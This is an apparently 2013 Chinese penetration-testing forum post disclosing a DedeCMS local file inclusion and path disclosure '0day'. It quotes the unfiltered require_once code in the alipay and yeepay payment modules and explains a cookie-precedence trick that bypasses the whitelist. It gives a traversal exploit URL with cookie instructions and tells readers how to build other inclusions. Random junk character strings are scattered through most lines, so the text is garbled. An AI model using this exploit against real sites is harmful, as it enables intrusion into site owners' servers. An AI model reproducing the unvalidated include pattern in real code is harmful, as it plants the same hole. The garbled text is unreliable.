中国网络渗透测试联盟

标题: dedecms本地文件包含及物理路径泄露0day [打印本页]

作者: admin    时间: 2013-4-4 17:25
标题: dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)) W0 r- J. q* P* A) v' X5 o
& K, _; L  X7 c8 Z9 K* m+ C) X. ^
出现漏洞的两个文件为:
* }! d8 |5 f% X* W6 J/ MInclude/payment/alipay.php
$ l1 w- G/ _; r6 tInclude/payment/yeepay.php
+ g$ \/ [2 A" J& E. \漏洞均出现在respond方法里,估计这两个文件是临时工写的。
( m& P/ e! r% I; d5 D
4 D4 R0 ]  J, Y( ~1 vInclude/payment/alipay.php
9 H6 G( n7 f3 d  b+ P7 i! D* `# u3 f
......
) k( E: F$ O$ n7 C. W' G' Y   function respond()" j! W# x- f$ A" R
    {& c; J; Z8 b4 l8 j* g0 H6 y
        if (!empty($_POST))
8 s5 K3 _. ^$ X! Q! f5 S. M        {
4 p( I; B& R5 ?1 m) \7 o: x6 \# v            foreach($_POST as $key => $data)
% W% a  z% _. o7 O8 C            {" s0 b: I' w6 P6 L+ i+ S" }4 n. \
                $_GET[$key] = $data;
* h1 p# a" k9 S5 f0 i) p            }3 e) v9 i1 p. e, C
        }
: n0 u5 L! h& g+ G        /* 引入配置文件 */
: p4 N9 x* b3 b7 ^1 T& T        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
5 M' V# v: {- Z0 x3 v+ o4 D5 {...... , d. S# Z; H9 @6 N, E3 z7 r" b
& r- o% m% h+ w3 v. D) p4 G, d9 B
- N3 D$ J; l3 E2 i$ u9 o
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
8 z* a9 y! g% e# p+ v' ^; H! I/ [  s7 U* f' G/ m
Include/payment/yeepay.php5 I( x+ {. P1 y" K# ~. U
3 x  Z- u1 a8 _' c1 m& B

' r) i9 h3 V# R* a/ G6 H6 m
. }8 c; P; }7 m1 _( e, ^% Y) V......
; e3 Z6 v* u- C8 G4 p    function respond()
6 \( v5 Z: m7 T0 y! Y  J. H    {
4 Z8 Q; m6 d' \2 g5 C8 k
- k+ F- F2 n& m8 b! |( v        /* 引入配置文件 */
2 p$ f; E7 ^2 u% h& A. |/ G        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';( {, Q2 _9 d: k+ o) t5 i
: W) D" m% }3 d6 H. D$ F1 G
        $p1_MerId = trim($payment['yp_account']);7 q# D6 f# Y8 `# U
        $merchantKey = trim($payment['yp_key']);5 U; c: |: w8 f6 |2 F* U
...... , n+ w: J1 Z! V1 t0 n( u

  x: ]$ e  r) F$ e2 c8 U' f/ m; m$ g4 s1 Z( |
9 }  \5 R6 l% q" C/ y1 o- M
" ^; W( d/ X' r4 m/ ?( F
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。; U1 s5 n5 H, [) `' A# r
- A6 q+ M* {- r
这两个方法在plus/carbuyaction.php文件调用。
& U1 U3 N- T2 k6 a* @# {( W5 m
4 U; E8 _+ ?* dplus/carbuyaction.php
" c% q1 H4 V/ {% [3 d5 F9 y& s6 z) G5 Z: w, G: I
......
$ j# \; M% R' V4 s. `2 _} else if ($dopost == 'return') {
& E0 s4 {, }4 \8 y    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
. q7 H( J9 a4 ?    if (in_array($code, $write_list))
3 G& u9 Y9 R4 x3 _$ |& j$ S    {
" {: \+ ?0 x. H* ^, A! h/ c! [% e        require_once DEDEINC.'/payment/'.$code.'.php';  f) L2 |* ?3 y2 S3 E
        $pay = new $code;
  |( n% N$ G2 T/ {! N8 d4 h        $msg=$pay->respond();
' ~* o9 I9 P! q* a        ShowMsg($msg, "javascript:;", 0, 3000);
# e* m% z6 Z& _, `" R        exit();  , r9 N& O' B- h1 I/ l7 `5 D4 P5 h
    } else {
# C; I" o2 Q2 S& K# s: x        exit('Error:File Type Can\'t Recognized!');
. W' b8 _- I3 d: I    }3 r" Z2 K8 [# H$ D9 f; M2 b/ Y
}
6 H+ r+ j2 Q: g$ f) Y; h......
& V: i( r1 E) s( J3 J" d: w3 i9 e / ]" D% q( J8 _1 G. \0 V6 X% Z6 S
( c3 e( k' @8 ^2 N

5 F; [0 {6 p6 ~; h* l$ o
$ G0 f: u& z/ v* N  B9 W3 w
  y: L% ?6 ~. P% Z# z( Y# `7 h4 B) v: F) O  H" q3 ~9 E/ j
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
3 L4 e, [. E* n5 G/ b- W2 T& I$ G所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。; W! Y, Z+ f7 ?" o0 f% F
( P# [6 M( l9 F+ D8 T6 k# `4 P
回到include/common.inc.php来看看他的机制。
4 S% S# U2 z9 p! u* o& D) U! y" v8 Q& }# B* m8 I7 r

) ~* g; _  p% ~! ^# G" U5 @1 n: L5 D, }
......; W0 F( c' |' j7 ]
foreach(Array('_GET','_POST','_COOKIE') as $_request). k. p( y/ D) F9 E: |) r( O
{
* [; q1 P) N/ ?        foreach($$_request as $_k => $_v)
' s8 A4 l6 i+ Z$ L4 v: |        {
0 \. }( v% _6 |. _' r. H$ I                if($_k == 'nvarname') ${$_k} = $_v;
: T( D  Z* k) X- O9 ~                else ${$_k} = _RunMagicQuotes($_v);+ q" G8 w% [: r  J6 J5 }5 i8 Y0 H
        }
" X' V- a  l! K% A: ]& f}
) u4 i$ R# [8 ?# F......
" I; s/ n" }8 I- a* i大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:0 [5 ]* h$ ~- S+ W8 F# Q
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2